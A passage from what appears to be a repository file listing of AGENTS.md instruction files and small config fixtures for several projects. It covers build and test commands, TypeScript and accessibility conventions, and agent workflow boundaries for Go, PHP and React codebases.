**Email testing**: Ensure Docker running for testcontainers (MailHog) 6. **Rate limit testing**: Tests may fail if system time incorrect **Debugging**: ```bash # Verbose test output go test -v ./internal/package/... # Run specific test go test -run TestName ./internal/package/ # Race detector (for concurrency issues) go test -race ./... # Build with debug info go build -gcflags="all=-N -l" ``` **Common pitfalls**: - **Nil pointer dereference**: Check error returns before using values - **Context cancellation**: Always respect `context.Context` in long operations - **Resource leaks**: Defer `Close()` calls immediately after acquiring resources - **Goroutine leaks**: Ensure all goroutines can exit - **Time zones**: Use `time.UTC` for consistency ## Package-Specific Notes ### email/ - Uses testcontainers for integration tests - MailHog container spins up automatically in tests - Mock `EmailService` interface for unit tests in other packages ### options/ - Configuration loaded from environment via `godotenv` - Validation happens at startup (fail-fast) - See `.env.local.example` for required variables ### ratelimit/ - In-memory store (map with mutex) - Consider Redis for multi-instance deployments - Tests use fixed time.Now for deterministic results ### resettoken/ - Crypto/rand for token generation (never math/rand) - Base64 URL encoding (safe for URLs) - Store tokens server-side with expiry ### rpc/ - JSON-RPC 2.0 specification compliance - Error codes defined in [docs/api-reference.md](../docs/api-reference.md) - Request validation before processing ### validators/ - Pure functions (no side effects) - Configurable policies from environment - Clear error messages for user feedback -
internal-web-AGENTS.md 12.1 KB
# Frontend - TypeScript & Tailwind CSS <!-- Managed by agent: keep sections & order; edit content, not structure. Last updated: 2025-10-09 --> **Scope**: Frontend assets in `internal/web/` directory - TypeScript, Tailwind CSS, HTML templates **See also**: [../../AGENTS.md](../../AGENTS.md) for global standards, [../AGENTS.md](../AGENTS.md) for Go backend ## Overview Frontend implementation for LDAP selfservice password changer with strict accessibility compliance: - **static/**: Client-side TypeScript, compiled CSS, static assets - **js/**: TypeScript source files (compiled to ES modules) - **styles.css**: Tailwind CSS output - Icons, logos, favicons, manifest - **templates/**: Go HTML templates (\*.gohtml) - **handlers.go**: HTTP route handlers - **middleware.go**: Security headers, CORS, etc. - **server.go**: Fiber server setup **Key characteristics**: - **WCAG 2.2 AAA**: 7:1 contrast, keyboard navigation, screen reader support, adaptive density - **Ultra-strict TypeScript**: All strict flags enabled, no `any` types - **Tailwind CSS 4**: Utility-first, dark mode, responsive, accessible patterns - **Progressive enhancement**: Works without JavaScript (forms submit via HTTP) - **Password manager friendly**: Proper autocomplete attributes ## Setup/Environment **Prerequisites**: Node.js 24+, pnpm 10.18+ (from root `package.json`) ```bash # From project root pnpm install # Install dependencies # Development (watch mode) pnpm css:dev # Tailwind CSS watch pnpm js:dev # TypeScript watch # OR pnpm dev # Concurrent: CSS + TS + Go hot-reload ``` **No .env needed for frontend** - all config comes from Go backend **Browser targets**: Modern browsers with ES module support (Chrome 90+, Firefox 88+, Safari 14+, Edge 90+) ## Build & Tests ```bash # Build frontend assets pnpm build:assets # TypeScript + CSS (production builds) # TypeScript pnpm js:build # Compile TS → ES modules + minify pnpm js:dev # Watch mode with preserveWatchOutput tsc --noEmit # Type check only (no output) # CSS pnpm css:build # Tailwind + PostCSS → styles.css pnpm css:dev # Watch mode # Formatting pnpm prettier --write internal/web/ # Format TS, CSS, HTML templates pnpm prettier --check internal/web/ # Check formatting (CI) ``` **No unit tests yet** - TypeScript strict mode catches most errors, integration via Go tests **CI validation** (from `.github/workflows/check.yml`): ```bash pnpm install pnpm js:build # TypeScript strict compilation pnpm prettier --check . ``` **Accessibility testing**: - Keyboard navigation: Tab through all interactive elements - Screen reader: Test with VoiceOver (macOS/iOS) or NVDA (Windows) - Contrast: Verify 7:1 ratios with browser dev tools - See [../../docs/accessibility.md](../../docs/accessibility.md) for comprehensive guide ## Code Style **TypeScript Ultra-Strict** (from `tsconfig.json`): ```json { "strict": true, "noUncheckedIndexedAccess": true, "exactOptionalPropertyTypes": true, "noPropertyAccessFromIndexSignature": true, "noImplicitReturns": true, "noFallthroughCasesInSwitch": true, "noUnusedLocals": true, "noUnusedParameters": true } ``` **No `any` types allowed**: ```typescript // ✅ Good: explicit types function validatePassword(password: string, minLength: number): boolean { return password.length >= minLength; } // ❌ Bad: any type function validatePassword(password: any): boolean { return password.length >= 8; // ❌ unsafe } ``` **Prettier formatting**: - 120 char width - 2-space indentation - Semicolons required - Double quotes (not single) - Trailing comma: none **File organization**: - TypeScript source: `static/js/*.ts` - Output: `static/js/*.js` (minified ES modules) - CSS input: `tailwind.css` (Tailwind directives) - CSS output: `static/styles.css` (PostCSS processed) ## Accessibility Standards (WCAG 2.2 AAA) **Required compliance** - not optional: ### Keyboard Navigation - All interactive elements focusable with Tab - Visual focus indicators (4px outline, 7:1 contrast) - Logical tab order (top to bottom, left to right) - No keyboard traps - Skip links where needed ### Screen Readers - Semantic HTML: `<button>`, `<input>`, `<label>`, not `<div onclick>` - ARIA labels on icon-only buttons: `aria-label="Submit"` - Error messages: `aria-describedby` linking to error text - Live regions for dynamic content: `aria-live="polite"` - Form field associations: `<label for="id">` + `<input id="id">` ### Color & Contrast - Text: 7:1 contrast ratio (AAA) - Large text (18pt+): 4.5:1 minimum - Focus indicators: 3:1 against adjacent colors - Dark mode: same contrast requirements - Never rely on color alone (use icons, text, patterns) ### Responsive & Adaptive - Responsive: layout adapts to viewport size - Text zoom: 200% without horizontal scroll - Adaptive density: spacing adjusts for user preferences - Touch targets: 44×44 CSS pixels minimum (mobile) ### Examples **✅ Good: Accessible button** ```html <button type="submit" class="btn-primary focus:ring-4 focus:ring-blue-300" aria-label="Submit password change"> <svg aria-hidden="true">...</svg> Change Password </button> ``` **❌ Bad: Inaccessible div-button** ```html <div onclick="submit()" class="button">❌ not keyboard accessible Submit</div> ``` **✅ Good: Form with error handling** ```html <form> <label for="password">New Password</label> <input id="password" type="password" aria-describedby="password-error" aria-invalid="true" autocomplete="new-password" /> <div id="password-error" role="alert">Password must be at least 8 characters</div> </form> ``` **❌ Bad: Form without associations** ```html <form> <div>Password</div> ❌ not a label, no association <input type="password" /> ❌ no autocomplete, no error linkage <div style="color: red">Error</div> ❌ no role="alert", only color </form> ``` ## Tailwind CSS Patterns **Use utility classes**, not custom CSS: **✅ Good: Utility classes** ```html <button class="rounded-lg bg-blue-600 px-4 py-2 font-semibold text-white hover:bg-blue-700 focus:ring-4 focus:ring-blue-300" > Submit </button> ``` **❌ Bad: Custom CSS** ```html <button class="custom-button">Submit</button> <style> .custom-button { background: blue; } /* ❌ Use Tailwind utilities */ </style> ``` **Dark mode support**: ```html <div class="bg-white text-gray-900 dark:bg-gray-900 dark:text-gray-100">Content</div> ``` **Responsive design**: ```html <div class="grid grid-cols-1 gap-4 md:grid-cols-2 lg:grid-cols-3"> <!-- Responsive grid: 1 col mobile, 2 tablet, 3 desktop --> </div> ``` **Focus states (required)**: ```html <button class="focus:ring-4 focus:ring-blue-300 focus:outline-none"> <!-- 4px focus ring, 7:1 contrast --> </button> ``` ## TypeScript Patterns **Strict null checking**: ```typescript // ✅ Good: handle nulls explicitly function getElement(id: string): HTMLElement | null { return document.getElementById(id); } const el = getElement("password"); if (el) { // ✅ null check el.textContent = "Hello"; } // ❌ Bad: assume non-null const el = getElement("password"); el.textContent = "Hello"; // ❌ may crash if null ``` **Type guards**: ```typescript // ✅ Good: type guard for forms function isHTMLFormElement(element: Element): element is HTMLFormElement { return element instanceof HTMLFormElement; } const form = document.querySelector("form"); if (form && isHTMLFormElement(form)) { form.addEventListener("submit", handleSubmit); } ``` **No unsafe array access**: ```typescript // ✅ Good: check array bounds const items = ["a", "b", "c"]; const first = items[0]; // string | undefined (noUncheckedIndexedAccess) if (first) { console.log(first.toUpperCase()); } // ❌ Bad: unsafe access console.log(items[0].toUpperCase()); // ❌ may crash if empty array ``` ## PR/Commit Checklist **Before committing frontend code**: - [ ] Run `pnpm js:build` (TypeScript strict check) - [ ] Run `pnpm prettier --write internal/web/` - [ ] Verify keyboard navigation works - [ ] Test with screen reader (VoiceOver/NVDA) - [ ] Check contrast ratios (7:1 for text) - [ ] Test dark mode - [ ] Verify password manager autofill works - [ ] No console errors in browser - [ ] Test on mobile viewport (responsive) **Accessibility checklist**: - [ ] All interactive elements keyboard accessible - [ ] Focus indicators visible (4px outline, 7:1 contrast) - [ ] ARIA labels on icon-only buttons - [ ] Form fields properly labeled - [ ] Error messages linked with aria-describedby - [ ] No color-only information conveyance - [ ] Touch targets ≥44×44 CSS pixels (mobile) **Performance checklist**: - [ ] Minified JS (via `pnpm js:minify`) - [ ] CSS optimized (cssnano via PostCSS) - [ ] No unused Tailwind classes (purged automatically) - [ ] No console.log in production code ## Good vs Bad Examples **✅ Good: Type-safe DOM access** ```typescript function setupPasswordToggle(): void { const toggle = document.getElementById("toggle-password"); const input = document.getElementById("password"); if (!toggle || !(input instanceof HTMLInputElement)) { return; // Guard against missing elements } toggle.addEventListener("click", () => { input.type = input.type === "password" ? "text" : "password"; }); } ``` **❌ Bad: Unsafe DOM access** ```typescript function setupPasswordToggle() { const toggle = document.getElementById("toggle-password")!; // ❌ non-null assertion const input = document.getElementById("password") as any; // ❌ any type toggle.addEventListener("click", () => { input.type = input.type === "password" ? "text" : "password"; // ❌ may crash }); } ``` **✅ Good: Accessible form validation** ```typescript function showError(input: HTMLInputElement, message: string): void { const errorId = `${input.id}-error`; let errorEl = document.getElementById(errorId); if (!errorEl) { errorEl = document.createElement("div"); errorEl.id = errorId; errorEl.setAttribute("role", "alert"); errorEl.className = "text-red-600 dark:text-red-400 text-sm mt-1"; input.parentElement?.appendChild(errorEl); } errorEl.textContent = message; input.setAttribute("aria-invalid", "true"); input.setAttribute("aria-describedby", errorId); } ``` **❌ Bad: Inaccessible validation** ```typescript function showError(input: any, message: string) { // ❌ any type input.style.borderColor = "red"; // ❌ color only, no text alert(message); // ❌ blocks UI, not persistent } ``` ## When Stuck **TypeScript issues**: 1. **Type errors**: Check `tsconfig.json` flags, use proper types (no `any`) 2. **Null errors**: Add null checks or type guards 3. **Module errors**: Ensure ES module syntax (`import`/`export`) 4. **Build errors**: `pnpm install` to refresh dependencies **CSS issues**: 1. **Styles not applying**: Check Tailwind purge config, rebuild with `pnpm css:build` 2. **Dark mode broken**: Use `dark:` prefix on utilities 3. **Responsive broken**: Use `md:`, `lg:` breakpoint prefixes 4. **Custom classes**: Don't - use Tailwind utilities instead **Accessibility issues**: 1. **Keyboard nav broken**: Check tab order, focus indicators 2. **Screen reader confusion**: Verify ARIA labels, semantic HTML 3. **Contrast failure**: Use darker colors, test with dev tools 4. **See**: [../../docs/accessibility.md](../../docs/accessibility.md) **Browser dev tools**: - Accessibility tab: Check ARIA, contrast, structure - Lighthouse: Run accessibility audit (aim for 100 score) - Console: No errors in production code ## Testing Workflow **Manual testing required** (no automated frontend tests yet): 1. **Visual testing**: Check all pages in light/dark mode 2. **Keyboard testing**: Tab through all interactive elements 3. **Screen reader testing**: Use VoiceOver (Cmd+F5) or NVDA 4. **Responsive testing**: Test mobile, tablet, desktop viewports 5. **Browser testing**: Chrome, Firefox, Safari, Edge 6. **Password manager**: Test autofill with 1Password, LastPass, etc. **Accessibility testing tools**: - Browser dev tools Lighthouse - axe DevTools extension - WAVE browser extension - Manual keyboard/screen reader testing (required) **Integration testing**: Go backend tests exercise full request/response flow including frontend templates
-
-
php-with-frontend
-
src
-
Controller.php 41 B · in bundle
-
-
web
-
src
-
App.tsx 63 B · in bundle
-
Button.tsx 215 B · in bundle
-
Footer.tsx 125 B · in bundle
-
Header.tsx 122 B · in bundle
-
main.tsx 68 B · in bundle
-
-
AGENTS.md 3.1 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: 2026-02-05 --> # AGENTS.md — web <!-- AGENTS-GENERATED:START overview --> ## Overview Frontend application (TypeScript/React/Vue) <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files | File | Purpose | |------|---------| | `web/src/App.tsx` | (add description) | | `web/src/Button.tsx` | (add description) | | `web/src/Header.tsx` | (add description) | | `web/src/main.tsx` | (add description) | | `web/src/Footer.tsx` | (add description) | <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) | Pattern | Reference | |---------|-----------| | Standard implementation | `web/src/Button.tsx` | <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment - Node version: >=20.0.0 - Framework: react - Package manager: npm - Environment variables: See .env.example <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests - Install: `npm install` - Typecheck: `npm run typecheck` - Lint: `npm run lint` - Format: `npx prettier --write .` - Test: `npm test` - Build: `npm run build` - Dev server: `npm run dev` <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - TypeScript strict mode enabled (verified from tsconfig.json) - Use functional components with hooks - Naming: `camelCase` for variables/functions, `PascalCase` for components - File naming: `ComponentName.tsx`, `utilityName.ts` - Imports: group and sort (external, internal, types) - CSS: Tailwind CSS - Avoid class components <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Sanitize user inputs before rendering - Raw HTML rendering only with sanitized content (use DOMPurify) - Validate environment variables at build time - Never expose secrets in client-side code - Use HTTPS for all API calls - Implement CSP headers - WCAG 2.2 AA accessibility compliance <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] Tests pass: `npm test` - [ ] TypeScript compiles: `npm run typecheck` - [ ] Lint clean: `npm run lint` - [ ] Formatted: `npx prettier --write .` - [ ] Accessibility: keyboard navigation works, ARIA labels present - [ ] Responsive: tested on mobile, tablet, desktop - [ ] Performance: no unnecessary re-renders <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Check React documentation: https://react.dev - Review TypeScript handbook: https://www.typescriptlang.org/docs/ - Check root AGENTS.md for project-wide conventions - Review existing components for patterns <!-- AGENTS-GENERATED:END help --> -
package.json 515 B
{ "name": "frontend", "private": true, "engines": { "node": ">=20.0.0" }, "scripts": { "dev": "vite", "build": "vite build", "lint": "eslint src --ext .ts,.tsx", "test": "vitest run", "typecheck": "tsc --noEmit" }, "dependencies": { "react": "^18.2.0", "react-dom": "^18.2.0" }, "devDependencies": { "@types/react": "^18.2.0", "eslint": "^8.56.0", "tailwindcss": "^3.4.0", "typescript": "^5.3.0", "vite": "^8.0.8", "vitest": "^4.1.11" } } -
tsconfig.json 280 B
{ "compilerOptions": { "target": "ES2020", "module": "ESNext", "lib": ["ES2020", "DOM", "DOM.Iterable"], "strict": true, "jsx": "react-jsx", "moduleResolution": "bundler", "esModuleInterop": true, "skipLibCheck": true }, "include": ["src"] }
-
-
.scopes 89 B · in bundle
-
AGENTS.md 3.1 KB
<!-- FOR AI AGENTS - Human readability is a side effect, not a goal --> <!-- Managed by agent: keep sections and order; edit content, not structure --> <!-- Last updated: 2026-02-05 | Last verified: never --> # AGENTS.md **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only. ## Commands (unverified) > Source: composer.json — CI-sourced commands are most reliable <!-- AGENTS-GENERATED:START commands --> | Task | Command | ~Time | |------|---------|-------| | Typecheck | composer run phpstan | ~15s | | Lint | vendor/bin/php-cs-fixer fix --dry-run | ~10s | | Format | vendor/bin/php-cs-fixer fix | ~5s | | Test (single) | vendor/bin/phpunit | ~2s | | Test (all) | composer run test | ~30s | <!-- AGENTS-GENERATED:END commands --> > If commands fail, verify against Makefile/package.json/composer.json or ask user to update. ## Workflow 1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching 2. **After each change**: Run the smallest relevant check (lint → typecheck → single test) 3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code ## File Map <!-- AGENTS-GENERATED:START filemap --> ``` web/ → documentation src/ → application source code ``` <!-- AGENTS-GENERATED:END filemap --> ## Golden Samples (follow these patterns) <!-- AGENTS-GENERATED:START golden-samples --> | For | Reference | Key patterns | |-----|-----------|--------------| | Controller | `src/Controller.php` | (class) | <!-- AGENTS-GENERATED:END golden-samples --> ## Heuristics (quick decisions) <!-- AGENTS-GENERATED:START heuristics --> | When | Do | |------|-----| | Adding class | Follow PSR-4 in `Classes/` or `src/` | | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) | | Merging PRs | Squash and merge | | Adding dependency | Ask first - we minimize deps | | Unsure about pattern | Check Golden Samples above | <!-- AGENTS-GENERATED:END heuristics --> ## Repository Settings <!-- AGENTS-GENERATED:START repo-settings --> - **Default branch:** `main` - **Merge strategy:** squash, merge, rebase <!-- AGENTS-GENERATED:END repo-settings --> ## Boundaries ### Always Do - Run pre-commit checks before committing - Add tests for new code paths - Use conventional commit format: `type(scope): subject` - Follow PSR-12 coding standards and PHP ^8.2 features ### Ask First - Adding new dependencies - Modifying CI/CD configuration - Changing public API signatures - Running full e2e test suites - Repo-wide refactoring or rewrites ### Never Do - Commit secrets, credentials, or sensitive data - Modify vendor/, node_modules/, or generated files - Push directly to main/master branch - Delete migration files or schema changes - Commit composer.lock without composer.json changes - Modify core framework files ## Index of scoped AGENTS.md <!-- AGENTS-GENERATED:START scope-index --> - `./web/AGENTS.md` — Frontend application (TypeScript/React/Vue) <!-- AGENTS-GENERATED:END scope-index --> ## When instructions conflict The nearest `AGENTS.md` wins. Explicit user prompts override files. - For PHP-specific patterns, follow PSR standards -
composer.json 185 B
{ "name": "test/php-with-frontend", "require": { "php": "^8.2" }, "scripts": { "test": "vendor/bin/phpunit", "phpstan": "vendor/bin/phpstan analyze" } } -
package.json 307 B
{ "name": "frontend", "scripts": { "dev": "vite", "build": "vite build", "lint": "eslint src", "test": "vitest run" }, "devDependencies": { "eslint": "^8.56.0", "react": "^18.0.0", "vite": "^8.0.8", "vitest": "^4.1.11" } } -
pnpm-lock.yaml 101 B
# pnpm lockfile placeholder # This file indicates pnpm is the package manager lockfileVersion: '9.0'
-
-
pnpm-workspace
-
packages
-
web
-
src
-
index.ts 258 B
import React from 'react'; import ReactDOM from 'react-dom/client'; const App: React.FC = () => { return <div>Hello from workspace package</div>; }; const root = document.getElementById('root'); if (root) { ReactDOM.createRoot(root).render(<App />); }
-
-
package.json 187 B
{ "name": "@workspace/web", "version": "1.0.0", "dependencies": { "react": "^18.2.0", "react-dom": "^18.2.0" }, "devDependencies": { "@types/react": "^18.2.0" } }
-
-
-
AGENTS.md 2.6 KB
<!-- FOR AI AGENTS - Human readability is a side effect, not a goal --> <!-- Managed by agent: keep sections and order; edit content, not structure --> <!-- Last updated: 2026-02-05 | Last verified: never --> # AGENTS.md **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only. ## Commands (unverified) > Source: package.json — CI-sourced commands are most reliable <!-- AGENTS-GENERATED:START commands --> | Task | Command | ~Time | |------|---------|-------| | Typecheck | pnpm dlx tsc --noEmit | ~15s | | Lint | pnpm dlx eslint . | ~10s | | Format | pnpm dlx prettier --write . | ~5s | <!-- AGENTS-GENERATED:END commands --> > If commands fail, verify against Makefile/package.json/composer.json or ask user to update. ## Workflow 1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching 2. **After each change**: Run the smallest relevant check (lint → typecheck → single test) 3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code ## File Map <!-- AGENTS-GENERATED:START filemap --> ``` packages/ → project files ``` <!-- AGENTS-GENERATED:END filemap --> ## Heuristics (quick decisions) <!-- AGENTS-GENERATED:START heuristics --> | When | Do | |------|-----| | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) | | Merging PRs | Squash and merge | | Adding dependency | Ask first - we minimize deps | | Unsure about pattern | Check Golden Samples above | <!-- AGENTS-GENERATED:END heuristics --> ## Repository Settings <!-- AGENTS-GENERATED:START repo-settings --> - **Default branch:** `main` - **Merge strategy:** squash, merge, rebase <!-- AGENTS-GENERATED:END repo-settings --> ## Boundaries ### Always Do - Run pre-commit checks before committing - Add tests for new code paths - Use conventional commit format: `type(scope): subject` - Use TypeScript strict mode with proper type annotations ### Ask First - Adding new dependencies - Modifying CI/CD configuration - Changing public API signatures - Running full e2e test suites - Repo-wide refactoring or rewrites ### Never Do - Commit secrets, credentials, or sensitive data - Modify vendor/, node_modules/, or generated files - Push directly to main/master branch - Delete migration files or schema changes - Commit package-lock.json without package.json changes - Use any type without justification ## When instructions conflict The nearest `AGENTS.md` wins. Explicit user prompts override files. - For TypeScript/JavaScript patterns, follow project eslint/prettier config -
package.json 105 B
{ "name": "workspace-root", "private": true, "devDependencies": { "typescript": "^5.0.0" } } -
pnpm-lock.yaml 920 B
lockfileVersion: '9.0' settings: autoInstallPeers: true excludeLinksFromLockfile: false importers: .: devDependencies: typescript: specifier: ^5.0.0 version: 5.3.3 packages/web: dependencies: react: specifier: ^18.2.0 version: 18.2.0 react-dom: specifier: ^18.2.0 version: 18.2.0(react@18.2.0) devDependencies: '@types/react': specifier: ^18.2.0 version: 18.2.45 packages: '@types/react@18.2.45': resolution: {integrity: sha512-TtAxCNrlrBp8GoeGmtE1KJSz==} react-dom@18.2.0: resolution: {integrity: sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n==} peerDependencies: react: ^18.2.0 react@18.2.0: resolution: {integrity: sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCY==} typescript@5.3.3: resolution: {integrity: sha512-pXWcraxM0uxAS+tN0AG/BF2TyqmHO014Z070Us==} -
pnpm-workspace.yaml 27 B
packages: - "packages/*"
-
-
simple-ldap-go
-
AGENTS.md 2.5 KB
<!-- FOR AI AGENTS - Human readability is a side effect, not a goal --> <!-- Managed by agent: keep sections and order; edit content, not structure --> <!-- Last updated: 2026-02-05 | Last verified: never --> # AGENTS.md **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only. ## Commands (unverified) > Source: go.mod — CI-sourced commands are most reliable <!-- AGENTS-GENERATED:START commands --> | Task | Command | ~Time | |------|---------|-------| | Typecheck | go build -v ./... | ~15s | | Format | gofmt -w . | ~5s | | Test (single) | go test -v -race | ~2s | | Test (all) | go test -v -race -short ./... | ~30s | | Build | go build -v ./... | ~30s | <!-- AGENTS-GENERATED:END commands --> > If commands fail, verify against Makefile/package.json/composer.json or ask user to update. ## Workflow 1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching 2. **After each change**: Run the smallest relevant check (lint → typecheck → single test) 3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code ## Heuristics (quick decisions) <!-- AGENTS-GENERATED:START heuristics --> | When | Do | |------|-----| | Adding package | Internal → `internal/`, Public → `pkg/` | | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) | | Merging PRs | Squash and merge | | Adding dependency | Ask first - we minimize deps | | Unsure about pattern | Check Golden Samples above | <!-- AGENTS-GENERATED:END heuristics --> ## Repository Settings <!-- AGENTS-GENERATED:START repo-settings --> - **Default branch:** `main` - **Merge strategy:** squash, merge, rebase <!-- AGENTS-GENERATED:END repo-settings --> ## Boundaries ### Always Do - Run pre-commit checks before committing - Add tests for new code paths - Use conventional commit format: `type(scope): subject` - Follow Go 1.25 conventions and idioms ### Ask First - Adding new dependencies - Modifying CI/CD configuration - Changing public API signatures - Running full e2e test suites - Repo-wide refactoring or rewrites ### Never Do - Commit secrets, credentials, or sensitive data - Modify vendor/, node_modules/, or generated files - Push directly to main/master branch - Delete migration files or schema changes - Commit go.sum without go.mod changes ## When instructions conflict The nearest `AGENTS.md` wins. Explicit user prompts override files. - For Go-specific patterns, defer to language idioms and standard library conventions -
examples-AGENTS.md 1.8 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: 2025-09-29 --> # AGENTS.md — Examples ## Overview Example applications demonstrating library usage patterns for authentication, user management, performance optimization, context handling, and error patterns. Entry points are the main.go files in each subdirectory. ## Setup & environment - Install: `go mod download` - Run example: `go run examples/<name>/main.go` - Env: Examples use environment variables from `.env` files when present ## Build & tests (prefer file-scoped) - Typecheck a file: `go build -v examples/<name>/main.go` - Format a file: `gofmt -w examples/<name>/main.go` - Run example: `go run examples/<name>/main.go` ## Code style & conventions - Examples should be self-contained and runnable - Use clear variable names that explain the concept - Include comments explaining non-obvious patterns - Error handling should demonstrate best practices - Keep examples focused on a single concept ## Security & safety - Never include real credentials in examples - Use placeholder values like "ldap.example.com" - Document required permissions clearly - Examples should fail gracefully without real LDAP server ## PR/commit checklist - Examples must compile without errors - Include README.md explaining the example's purpose - Test example with both real and mock LDAP servers if possible - Ensure examples follow library best practices ## Good vs. bad examples - Good: `authentication/main.go` (clear flow, error handling) - Good: `context-usage/main.go` (proper context propagation) - Pattern to follow: Simple, focused, well-commented demonstrations ## When stuck - Check the main library documentation in ../docs/ - Review similar examples in sibling directories - Ensure you have the latest library version -
go.mod 43 B · in bundle
-
-
t3x-rte-ckeditor-image
-
AGENTS.md 2.5 KB
<!-- FOR AI AGENTS - Human readability is a side effect, not a goal --> <!-- Managed by agent: keep sections and order; edit content, not structure --> <!-- Last updated: 2026-02-05 | Last verified: never --> # AGENTS.md **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only. ## Commands (unverified) > Source: composer.json — CI-sourced commands are most reliable <!-- AGENTS-GENERATED:START commands --> | Task | Command | ~Time | |------|---------|-------| | Lint | vendor/bin/php-cs-fixer fix --dry-run | ~10s | | Format | vendor/bin/php-cs-fixer fix | ~5s | | Test (single) | vendor/bin/phpunit | ~2s | | Test (all) | vendor/bin/phpunit | ~30s | <!-- AGENTS-GENERATED:END commands --> > If commands fail, verify against Makefile/package.json/composer.json or ask user to update. ## Workflow 1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching 2. **After each change**: Run the smallest relevant check (lint → typecheck → single test) 3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code ## Heuristics (quick decisions) <!-- AGENTS-GENERATED:START heuristics --> | When | Do | |------|-----| | Adding class | Follow PSR-4 in `Classes/` or `src/` | | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) | | Merging PRs | Squash and merge | | Adding dependency | Ask first - we minimize deps | | Unsure about pattern | Check Golden Samples above | <!-- AGENTS-GENERATED:END heuristics --> ## Repository Settings <!-- AGENTS-GENERATED:START repo-settings --> - **Default branch:** `main` - **Merge strategy:** squash, merge, rebase <!-- AGENTS-GENERATED:END repo-settings --> ## Boundaries ### Always Do - Run pre-commit checks before committing - Add tests for new code paths - Use conventional commit format: `type(scope): subject` - Follow PSR-12 coding standards and PHP ^8.1 features ### Ask First - Adding new dependencies - Modifying CI/CD configuration - Changing public API signatures - Running full e2e test suites - Repo-wide refactoring or rewrites ### Never Do - Commit secrets, credentials, or sensitive data - Modify vendor/, node_modules/, or generated files - Push directly to main/master branch - Delete migration files or schema changes - Commit composer.lock without composer.json changes - Modify core framework files ## When instructions conflict The nearest `AGENTS.md` wins. Explicit user prompts override files. - For PHP-specific patterns, follow PSR standards -
Classes-AGENTS.md 12 KB
# Classes/AGENTS.md <!-- Managed by agent: keep sections & order; edit content, not structure. Last updated: 2025-10-15 --> **Scope:** PHP backend components (Controllers, EventListeners, DataHandling, Utils) **Parent:** [../AGENTS.md](../AGENTS.md) ## 📋 Overview PHP backend implementation for TYPO3 CKEditor Image extension. Components: ### Controllers - **SelectImageController** - Image browser wizard, file selection, image info API - **ImageRenderingController** - Image rendering and processing for frontend - **ImageLinkRenderingController** - Link-wrapped image rendering ### EventListeners - **RteConfigurationListener** - PSR-14 event for RTE configuration injection ### DataHandling - **RteImagesDbHook** - Database hooks for image magic reference handling - **RteImageSoftReferenceParser** - Soft reference parsing for RTE images ### Backend Components - **RteImagePreviewRenderer** - Backend preview rendering ### Utilities - **ProcessedFilesHandler** - File processing and manipulation utilities ## 🏗️ Architecture Patterns ### TYPO3 Patterns - **FAL (File Abstraction Layer):** All file operations via ResourceFactory - **PSR-7 Request/Response:** HTTP message interfaces for controllers - **PSR-14 Events:** Event-driven configuration and hooks - **Dependency Injection:** Constructor-based DI (TYPO3 v13+) - **Service Configuration:** `Configuration/Services.yaml` for DI registration ### File Structure ``` Classes/ ├── Backend/ │ └── Preview/ │ └── RteImagePreviewRenderer.php ├── Controller/ │ ├── ImageLinkRenderingController.php │ ├── ImageRenderingController.php │ └── SelectImageController.php ├── DataHandling/ │ └── SoftReference/ │ └── RteImageSoftReferenceParser.php ├── Database/ │ └── RteImagesDbHook.php ├── EventListener/ │ └── RteConfigurationListener.php └── Utils/ └── ProcessedFilesHandler.php ``` ## 🔧 Build & Tests ```bash # PHP-specific quality checks make lint # All linters (syntax + PHPStan + Rector + style) composer ci:test:php:lint # PHP syntax check composer ci:test:php:phpstan # Static analysis composer ci:test:php:rector # Rector modernization check composer ci:test:php:cgl # Code style check # Fixes make format # Auto-fix code style composer ci:cgl # Alternative: fix style composer ci:rector # Apply Rector changes # Full CI make ci # Complete pipeline ``` ## 📝 Code Style ### Required Patterns **1. Strict Types (Always First)** ```php <?php declare(strict_types=1); ``` **2. File Header (Auto-managed by PHP-CS-Fixer)** ```php /** * This file is part of the package netresearch/rte-ckeditor-image. * * For the full copyright and license information, please read the * LICENSE file that was distributed with this source code. */ ``` **3. Import Order** - Classes first - Functions second - Constants third - One blank line before namespace **4. Type Hints** - All parameters must have type hints - All return types must be declared - Use nullable types `?Type` when appropriate - Use union types `Type1|Type2` for PHP 8+ **5. Property Types** ```php private ResourceFactory $resourceFactory; // Required type declaration private readonly ResourceFactory $factory; // Readonly for immutability ``` **6. Alignment** ```php $config = [ 'short' => 'value', // Align on => 'longer' => 'another', ]; 